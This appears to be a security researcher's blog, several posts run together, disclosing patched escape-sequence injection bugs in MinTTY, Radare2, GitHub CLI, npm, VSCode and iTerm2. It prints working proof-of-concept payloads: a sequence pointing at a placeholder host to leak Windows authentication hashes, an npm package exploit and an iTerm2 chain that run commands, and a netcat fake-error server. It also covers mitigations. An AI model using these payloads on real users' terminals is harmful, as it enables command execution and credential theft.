Novice bug bounty hunters (like myself), here’s a tip for you. In windows, accessing a file in an arbitrary path, even just stating it, can result in a leak of sensitive information.

How so?

Windows Network Shares

Network shares are a fairly popular feature of Windows, especially in organizations. If you’ve used one before, you probably did so using its UNC path or a mapped network drive (which is mapped to its UNC path…). A UNC path to a network location usually looks something like this:
\\host\share\file.log.

But what you probably didn’t think about while using them is authentication. If you have used one of these in the context of an organization, then you might have never had to authenticate - at all! How does that work?

Upon accessing the share, Windows attempts to automatically negotiate an authentication mechanism (I won’t get into it, lookup SPNEGO for the details).
Once a mechanism is chosen, Windows also attempts to authenticate automatically, if supported by the mechanism. (I won’t get into it, lookup Kerberos and NTLM for the details).

If an attacker can cause an app to access a network path on an attacker controlled host, they can negotiate the desired mechanism and extract an authentication token. That token can be used to impersonate the victim’s Windows user, or in some cases extract its password (weak / hash-crackable).

CVE-2023-50627

MinTTY is a fairly common terminal emulator. Most people know it from git bash for Windows.

MinTTY was vulnerable to exactly what I’ve described above through escape sequences. I’ve discussed what terminal escape sequences are in a previous post.

In a manner similar to what I’ve discussed in my post about npm, gh cli and radare2, an attacker can display an escape sequence such as the following:

printf '\x1b]440;//leakmyhash.invalid/sounds/silent.wav:async\007'

Then using tools like Responder or impacket extract an authentication token.

A recent patch following my report, released in version 3.7.0, mitigated such an attack.
I would like to thank the maintainers for their cooperative spirit during the reporting process. They accept donations. Visit their website for details.

update (2024-02-05): a patch was released for npm in v10.3.0, addressing and fixing the vulnerability.

Note: ‘code points’ would be a more accurate term than ‘characters’, but I’ll probably keep using ‘character’ for the rest of this post.

In a previous post I went over a vulnerability I discovered in iTerm2 that allowed code execution in the shell by leveraging the output of a command. Today, We’ll focus on the other side of that interaction, the application running underneath the terminal.

I’ll touch on reports I’ve personally made on this issue (Radare2, Github CLI, npm cli),
how to exploit it with or without a vulnerability in the terminal itself,
what challenges drove developers to fumble this seemingly trivial task,
and my recommendations regarding mitigation.

Also, someone brought to my attention that there’s a pretty good Defcon video (and write-up) on similar vulnerabilities. Would recommend.

Brief on Escape Sequences

Feel free to skip this section if you’re already familiar.

Escape sequences, sometimes also called control sequences, are the way terminal emulators and the application running beneath them communicate with each other. That is how colored output, loading bars, and mouse control are implemented. The important thing to remember is that they are embedded in the standard output and input.

I’ll give some examples:

printf '\x1b[32mThis text will be green'
printf 'This will create a scroll region: \x1b[3;5r - try pressing Enter a bunch of times'
printf 'This will type for you: \x1b]4;0;?\x1b\\'

\x1b is the Escape character. And yes, it does refer to the Esc key on your keyboard. In a terminal, try pressing Esc, releasing it, and then pressing P. It will behave the same as Alt+p.

There are other characters that can initiate a sequence called C1 controls. I won’t get too much into it, but for example U+009B (\u009b) can replace \x1b[.

The last example demonstrates what happens when a response is left in stdin. It is picked up by the shell as input. In my iTerm2 post I used a response that includes a newline to automatically execute a command. The interesting thing about it is that nothing in the standards dictates that terminal emulators should not do that. It can be argued that it is up to the application to not send unauthorized queries, but most terminals avoid it regardless because it is bound to be abused.

Radare2

CVE-2023-0302

Lets forget for a moment about vulnerabilities in the terminal itself. What can we do with the “normal” stuff?

• Change color of text and background.
• Set text as bold, italic, underlined…
• Make the cursor invisible.
• Set the location of the cursor.
• Set a scroll region.
• Manipulating window properties - setting window title, icon, size and location (not all terminals implement all of these features).
• Disable line overflow.

All of the above and more allow you to manipulate elements of the UI.

Additionally, all terminals push responses to queries to stdin. So even if an attacker couldn’t execute a command automatically, they could do something like manipulating the UI to show something like a disclaimer, asking the user to press Enter for confirmation. Unbeknownst to the user, a shell command printed outside the boundaries of the screen would be executed.

The vulnerability in Radare2 linked above, allowed escape sequences embedded in the debug info (DWARF section) of an ELF to be printed to the terminal.

The most straight forward use case for an attacker would be obfuscation during malware analysis. Manipulating the data displayed by Radare2.

The original patch used the following to sanitize inputs:

static size_t __str_ansi_length(char const *str) {
	size_t i = 1;
	if (str[0] == 0x1b) {
		if (str[1] == '[') {
			i++;
			while (str[i] && str[i] != 'J' && str[i] != 'm' && str[i] != 'H' && str[i] != 'K') {
				i++;
			}
		} else if (str[1] == '#') {
			while (str[i] && str[i] != 'q') {
				i++;
			}
		}
		if (str[i]) {
			i++;
		}
	}
	return i;
}

R_API size_t r_str_ansi_strip(char *str) {
	size_t i = 0;
	while (str[i]) {
		size_t chlen = __str_ansi_length (str + i);
		if (chlen > 1) {
			r_str_cpy (str + i, str + i + chlen);
		} else {
			i++;
		}
	}
	return i;
}

There are some issues there.

As far as I can tell, the function __str_ansi_length was originally utilized elsewhere for calculating the length of the string in its printed form, not sanitization. It therefore misses some cases that could be abused. It also fails to sanitize an ESC character in the last byte, allowing an attacker to bypass it by splitting the rest of the sequence to a consecutive print.

To be fair, I approved it before it was released…

After noticing those flaws while writing this, I submitted a PR to address them:

static size_t __str_ansi_sanitize_length(char const *str) {
	size_t i = 0;
	if (str[0] == 0x1b || str[0] == 0x07 || str[0] == 0x05 || str[0] == 0x7f) { // ESC, BEL, ENQ, DEL
		i++;
	} else if (str[0] == -0x3e && str[1] >= -0x80 && str[1] <= -0x61) { // C1 control codes U+0080 - U+009F
		i += 2;
	}
	return i;
}

R_API size_t r_str_ansi_strip(char *str) {
	size_t i = 0;
	while (str[i]) {
		size_t chlen = __str_ansi_length (str + i);
		size_t sanitize_len = __str_ansi_sanitize_length (str + i);
		if (chlen > 1) {
			r_str_cpy (str + i, str + i + chlen);
		} else if (sanitize_len > 0) {
			r_str_cpy (str + i, str + i + sanitize_len);
		} else {
			i++;
		}
	}
	return i;
}

It was quickly approved and merged.

BTW, Radare2’s maintainer is doing a tremendous job. If you see value in the project I’d urge you to contribute either time or money.

Github CLI

The case of gh cli is quite interesting. It was the first time I managed to demonstrate RCE using this injection method, and the way the devs chose to fix it was a bit… ehm, peculiar.

To achieve RCE I utilized a specific feature of a terminal named iTerm2 that responded to a query with a newline. That response is pushed to stdin by the terminal. Since gh cli doesn’t pull data from stdin normally, it was left there for the shell. The shell interpreted the newline as the user pressing Enter. That allowed me to run an executable in a specific path. You can read more about it in my previous post.

There are plenty of ways to get gh cli to print user generated content. Issues, PR requests and more. At the time none of it was sanitized. The executable would theoretically be in a repo that the user cloned themselves.

It was one of the first times I reported to a bug bounty program. After overcoming the challenge of my own clumsy reporting and Github’s team managing to reproduce the bug (sneaky $PAGER trying to undermine my PoC!), it was accepted and they started working on a fix.

And the fix is…
Drumroll
Sanitizing serialized JSON (pre-parsed) of HTTP responses!
Uhm
.
.
.
Wha-?

https://github.com/cli/cli/releases/tag/v2.23.0

The good is that they did try to address C1 controls to avoid a bypass.

The bad is that they failed to handle non-HTTP responses, and forgot the JSON specification doesn’t require control characters above the ASCII range to be escaped. For example U+009B doesn’t have to appear as \u009b in the raw JSON, even if it isn’t visible by itself.

The ugly is that they didn’t properly handle preceding backslashes, resulting in a DoS bug, and then mishandled preceding backslash again, resulting in another bypass.

So why such a weird solution?

My best guess is that they wanted to hook into a bottleneck in the process. The point of printing wouldn’t work since that would include legitimate escape sequences, so they went with the opposite end of the of the process.

If I were to go with that approach, I’d try to hook into a point after the JSON is parsed. Perhaps wrap/override the default Decoder or Unmarshaler, and sanitize the relevant characters from the resulting string fields. But, I didn’t explore that option in-depth, so they might have had a good reason not to.

To achieve RCE, you would have needed to utilize one of the two exploits I presented in my iTerm2 post. Particularly the one related to the RequestUpload feature, since you’ll be able to deliver an executable through a cloned repo.

Don’t get sassy with me @samcoe. It ends when it ends.

NPM CLI

For the npm cli report I managed to come up with an exploit that didn’t require an executable. It involved a command named m4. Again, you can read about it in my previous post.

So, npm devs released a fix.
They used an already existing regex pattern ansiTrim.

function ansiTrim (str) {
  var r = new RegExp('\x1b(?:\\[(?:\\d+[ABCDEFGJKSTm]|\\d+;\\d+[Hfm]|' +
        '\\d+;\\d+;\\d+m|6n|s|u|\\?25[lh])|\\w)', 'g')
  return str.replace(r, '')
}

From doing a bit of research into the code and git logs, it seems like its original purpose was to evaluate the length of a string in its printed form. Rings a bell?

It was completely bypass-able, since it wasn’t designed for that purpose.

After reporting a bypass they eventually released another fix. This time they used a package named strip-ansi. It was still bypass-able. The package basically took the same approach of removing whole sequences using a pattern. There were some other issues like ignoring most C1 controls, or applying it only to npm search and not other commands, amongst other issues I already pointed out in the report.

I-It’s not like I want Github to fix their vulnerabilities, so DON’T GET THE WRONG IDEA! I just wanted the Hackerone badges, that’s all. Who would even want comprehension of their work by fellow professionals?
Baka!

As it stands today, it is still mostly bypass-able.

This is the exploit I submitted to Github’s BBP:

mkdir somepkg
cd somepkg
echo -E '{ "publishConfig": { "registry": "http://localhost:4873" }, "description": "somepkg1$ qrefresh-client", "keywords": ["syscmd(open -a Calculator)\u001b[5n\u001bP$q$|\u001b\\\u001b[#|\u001b[14H\u001b[6n\u001bP1000p%session-changed $9 s\n"] }' > package.json
npm init -y
npm publish

# this should trigger the PoC, doesn't require to be run from this specific directory
npm search somepkg

For an explanation on how it works, see my post about it.

Keep in mind that the current version of iTerm2 is patched against this. So for testing it the relevant version of iTerm2 is needed, or a different exploitation technique. I also used verdaccio as npm’s backend, but it shouldn’t make a difference.

Mitigation

You take your data at some point before constructing the output, and filter out the following characters:

\u0007
\u001b
\u0080 - \u009f

And for good measure these as well:

\u0005
\u007f

It will leave behind artifacts from the now ineffective sequence. If you believe it’s a good idea to parse out those sequences, keep in mind that it isn’t as trivial as you might think, and that even terminals aren’t consistent about parsing in some cases. You will probably end up with a parser differential somewhere.

That’s it.
It is as simple as that.
Why most devs avoid it, is beyond me.

The npm devs’ choice to continue the left-pad legacy by using an external package, without fully understanding what it does, is especially disappointing.

If you ignore the common denominator to all these events, me being the reporter (as you should!), then you can safely conclude that there is an over-arching issue with the way we develop software.

CVE-2023-24893

Shell Integration

VSCodes’s builtin terminal has a feature called shell-integration. It means that it can extract from the terminal the shell’s prompt, command, output, exit code, and so on…

How does it do that?
Our good old friend escape sequences.

Using proprietary terminal escape sequences, and the right environment variables, VSCode can extract all that data from the shell.

VSCode defines several sequences relating to shell integration, and you can find them here. Today, for the sake of brevity, we’ll focus on just the following one:

"\x1b]633;E;ping 1.1.1.1\x07" ( OSC 633 ; E ; command ST )

So this sequence, once observed in the output by VSCode, will set the last executed command (on the side of VSCode, not the shell itself). So, if… for example… someone were to cat a file that contained such sequence, and then try to rerun it using VSCode’s rerun option, they would end up running the command from the sequence and not the cat command.

Also note that such a sequence isn’t visible in the terminal, and there’s no visual indication of the command changing.

Here’s the exploit:

#!/bin/bash

nc -Nl 8000 << EOF
HTTP/1.1 200 OK

$(printf '\x1b[1;4m')ERROR$(printf '\x1b[0;1m'): Host Unavailable$(printf '\x1b[0m')
Could not reach $(printf '\x1b[3m')127.0.0.1$(printf '\x1b[0m')
$(printf '\x1b[31m')...convincing error log...$(printf '\x1b[39m')
$(printf '\x1b[32m')Better luck next time!$(printf '\x1b[39m')
$(printf '\x1b]633;E;ping 127.0.0.1\x07')
EOF

Using curl to display the response of that server, and then rerunning it using VSCode’s shell integration, would have resulted with running ping 127.0.0.1.

The vulnerability was first mitigated by prompting for confirmation on the command. That is better than nothing, but most users would probably confirm it without giving it too much thought. A better solution was later introduced, using a nonce to verify the authenticity of the sequence. I have not verified it myself, but on paper it is better.

This was the most straight forward vulnerability I’ve ever encountered. Probably ever will.

Thanks again to MSRC for handling my report with an open mind.

Little did they know, that almost half a century later, it will still be the defacto standard for all terminal emulators, essential to the workflow of anyone who programs professionally in any capacity.

Very cool @solid-snail, but what does that have to do with Remote Code Execution?

Well, recall me saying in-band encoding? It means that when a program wants to relay a message to the terminal it embeds it in the output, and perhaps more importantly, when the terminal wants to relay a message to the program it embeds it in the input. Yes, the user input.

update: there are now two CVEs for the vulnerabilities. CVE-2023-46300 and CVE-2023-46301.

What’s the Plan?

Attack plan is simple.
A program prints non-sanitized, non-trusted content.
The content will contain our exploit.
The exploit will elicit a response that contains a shell command, and a linefeed.
The program, that was not expecting any further input, will leave it waiting in stdin.
After it finished executing, the shell will kick back in, at which point our command will be read and executed.

Now, you might be wondering… Is it really that simple? How come it isn’t abused routinely? Why would that be supported at all by any terminal? Did no one see it coming? Do I really not have anything better to do with my time? I will address almost all of these.

I also plan release a proper repo, with the full source code, and perhaps some demos. It will be linked here when available.

Vulnerability

@gnachman, who was probably fed up with being bottom charged by Apple, created a terminal emulator named iTerm2. iTerm2 implements many features beyond the standard experience of a terminal emulator. Some are implemented using non-standard escape sequences. This is an escape sequence: \x1b[32m. It changes the color of text. You can try it out with the printf command, printf '\x1b[32mtext'

Two of such features, are of interest to us.

• Tmux integration
• Request upload

I won’t get into the details of what those features do, because it doesn’t matter to us. It is a specific implementation detail that we’re after. They both inject a linefeed to stdin.

We got the terminal to press enter in the name of the user, now what?

Exploit

Two exploits I came up with! One requires the attacker to deliver an executable to the victim’s machine, and works with bash but not zsh. The other, which I’m more proud of, requires only for the command’s output to be somewhat repeatable, and works with zsh but not bash.

Terminal developers aren’t so excited about the idea of us running surprise commands for their users, as it turns out, and left very little for us to work with. We are limited in what we can inject to stdin.

I could say I managed to run ln with no arguments and call it a day, but that would be boring!

We can’t place the command we want to run directly in stdin. That means we need to find another place for it.
A file? Could we run it?
If we could specify it as an argument of a command we wouldn’t be dealing with a file right now. We also can’t specify just a file’s name as the command. The shell will interpret it as a name of a command and not a path to an executable.

The solution is obvious. Ask the terminal to report a color!

The response to a query about a color value will contain slashes, which will cause the shell to interpret it as a path, not a command.

Lets try. When we printf '\x1b]4;0;#000\007\x1b]4;0;?\007', we can see that our shell’s command line now contains 4;0;rgb:0000/0000/0000. If executed, it will attempt to run a file at rgb:0000/0000/0000.

But to be honest, files… files are annoying.
How am I going to deliver one all the way to your machine?!
We need yet another place for the code.

I’ll stop teasing, the place is the output itself, and this is the exploit:

syscmd(open -a Calculator) \x1b[5n \x1bP$q$|\x1b\\ \x1b[#| \x1b[14H \x1b[6n \x1bP1000p%session-changed $9 s\n

To reproduce (tested it on iTerm2 3.5.0beta10):

alias newcmd='echo -e '\''syscmd(open -a Calculator) \x1b[5n \x1bP$q$|\x1b\\ \x1b[#| \x1b[14H \x1b[6n \x1bP1000p%session-changed $9 s\n'\'
newcmd arg

Lets break down this mess.

• syscmd(open -a Calculator) - as of now, does absolutely nothing, besides being printed out.
• \x1b[5n - Device Status Report (DSR) - pushes \x1b[0n to stdin. Results in n in the command line.
• \x1bP$q$|\x1b\\ - Request Status String (DECRQSS) - pushes \x1bP1$r{alpha-numeric stuff}$|\x1b\\ to stdin.
• \x1b[#| - Report selected graphic rendition (XTREPORTSGR) - pushes \x1b[{0 or nothing by default}m to stdin. Results in m being added to the command line.
• \x1b[14H - Cursor Position (CUP) - moves the cursor to row 14 (of the terminal, not the shell).
• \x1b[6n - Device Status Report (DSR) - pushes \x1b[14;{cursor column}R. Results in 4;{cursor column}R being added to the command line.
• \x1bP1000p - Tmux integration - indicates that tmux has started in control mode.
• %session-changed $9 s\n - imitates output of tmux in control mode. Needed for more consistent and predictable results.

I know that by now it might seem obvious to most of you, but no one likes being the one that raises their hand, so I’ll explain it further.

syscmd(open -a Calculator) is our Chechov’s gun.

Now, to understand why not all characters pushed to stdin end up in the shell’s command line, you have to understand another use for escape sequences - special keys and key combos. There’s no character code for PgUp. There’s no ASCII code for Shift+F1. When you headbutt the keyboard after trying to figure out why Ubuntu is hell-bent on removing its own desktop environment on the next full-upgrade, those are expressed by the terminal as escape sequences. That is why most of the sequences pushed to stdin in this exploit are partially swallowed by the shell - they can also represent (sometimes invalid) key presses.

\x1b[5n. Why do we want n in the command line? Put a pin in that, but it has to do with the fact that we knew the exploited command starts with an n (our alias newcmd in this case).

The response to \x1bP$q$|\x1b\\ is \x1bP1$r{alpha-numeric stuff}$|\x1b\\. This time we want to pay attention to how the shell interprets the sequence. \x1bP is equivalent to alt+P. You can actually test that easily. Open a terminal, press the Esc key, release it, then press P. In zsh it will lookup a command from the command history based on the first word in the current command line, if there is one, and load it. In our case it will be newcmd arg. The rest of the response is appended to it, so: newcmd arg1$r{alpha-numeric stuff}$|.

\x1b[#| will add m to our command line: newcmd arg1$r{alpha-numeric stuff}$|m.

\x1b[14H sets the terminal’s cursor to line 14. \x1b[6n is a request for cursor coordinates. The line position will be 14 as we set it, and the response will be: \x1b[14;{cursor column}R. \x1b[1 is swallowed by the shell, so our current command line is now:

newcmd arg1$r{alpha-numeric stuff}$|m4;{cursor column}R

Before we blow our final punches, lets take moment to appreciate what’s going on. $r{alpha-numeric stuff}$ will be discarded by the shell as an undefined environment variable and a $ without any variable specified. Anything after the ; is irrelevant to us. Our current effective command is newcmd arg1|m4.

m4 is a command built-in to macOS, for some reason. In case you’re not familiar with it, it is a macro engine. It is basically a c/c++ compiler without the compiler.

This is where our Chechov’s gun makes its appearance again. m4 has a built-in macro for running commands in the system’s shell. By piping the output to m4 we’re able to utilize it.

Finally, \x1bP1000p%session-changed $9 s\n runs the command for us by pushing a linefeed to stdin. Not only that, it pushes multiple linefeeds, each preceded by a tmux command.

Having said that, I can finally return to our pinned question. We needed the command line to start with the same letter as the exploited command, because at times the exploit would fail due to the shell processing some of the tmux commands before traversing back in the command history. I didn’t investigate the cause of that, but I could easily mitigate it by filtering the command history in this manner.

Thoughts

As it turns out, I wasn’t the first to come up with this concept. Security concerns regarding this matter have existed for decades now. In fact, CVEs regarding this matter have been coming up for as late as 2021 by major terminal emulators.

However, as far as I can tell, my method of exploitation is novel, as it didn’t rely on the ability to push arbitrary commands to stdin, or deliver additional resources to the victim, such as files. It is self contained.

You might think to yourself, “Easy! Just don’t inject linefeeds and arbitrary data to stdin, and you should be good.”. You would have a point, and most terminals do exactly that, but you won’t be addressing the root cause. This solutions assumes the use of a POSIX shell. What if it’s exploited in the context of a program such as Vim? It’s easy to see how real damage can be done without the use of a linefeed.

The reason vulnerabilities of this kind keep appearing is that there is a fundamental problem in the way terminals work. Embedding commands in that manner is as egregious as using string concatenation to create sql queries. We didn’t even touch on the fact that, given the opportunity, an attacker can use escape sequences to arbitrarily change the entire display of the terminal.

The standards that define those mechanisms originate in the 70s, the 70s! The modern environment in which terminal emulators are used today could not have been predicted at the time.

Its legacy status means that virtually any tool you use from the terminal already supports it.

Moreover, those vulnerabilities are logical and inherent to the standard itself. They can’t be patched in-place in the same manner you would a buffer overflow, without breaking compatibility.

So what are we to do?

Solutions

One solution would be to have all tools used in the terminal sanitize non-trusted data. Good luck with that.

To fix the fundamental problem, you would probably need to break compatibility, which would suck. Suddenly you do not have colored text, you do not have progress bars, you do not have fancy interfaces, you do not pass go, do not collect $200. Developers will need to explicitly support that new alternative.

But even if we could assure good adoption rate, the biggest hurdle, ironically, will probably be restriction of feature support. Restrictions made by the terminal meant that:

• Interfaces had to primarily be text based, and minimal.
• Keyboard as first class citizen.
• Supporting scriptability was incentivised. As a result, it is easy to convert day to day workflows to automation.
• Easy cross compatibility when it comes to user interface.
• Easy to support. If your program supports stdin and stdout, it can support the terminal. Regardless of hardware, OS, programming language, or framework.
• Stability! You don’t have to worry about future support as much. When support is a moving target you find yourself in a situation like folding displays. Of course this is a double edged sword, like we’re seeing in this article.

When looking at the current landscape of software development, I find it difficult to have the confidence that developers possess the restraint required to uphold those standards. Even when looking at tools aimed at highly technical people! Lets take a look at IDA Pro and Radare2 as an example. Even though IDA Pro has many other redeeming qualities, It clearly misses the mark at some of these points. For example, in Radare2 your interactions with the program can be converted, almost directly, into scripts. Not the case in IDA Pro.

In fact, the only example of a gui application that would fit those requirements, is emacs. For those interested, an article by Spencer Baugh about terminal emulators, that also explores the idea of emacs as a replacement for the terminal. But even a platform as capable as emacs needed to feature a terminal emulator. It will not solve the Problem of backwards compatibility.

Support Open Source

@gnachman has handled my report professionally, and reacted swiftly with a patch. So despite afflicting Objective-C onto my eyes during this research, I’d encourage anyone who finds his software useful to express support via a donation:
https://iterm2.com/donate.html

insert self shilling
I myself have more blog posts down the pipeline on already done research. I’m also conducting more research, focusing on open source tools used by tech professionals, but not exclusively. I believe it’s crucial to secure our toolchains, at a time when supply chain attacks are so painful, especially for projects that rely on community support and are often overlooked.

And uhm… if you find my research useful, I too hav- I mean… I also accept- uuuh…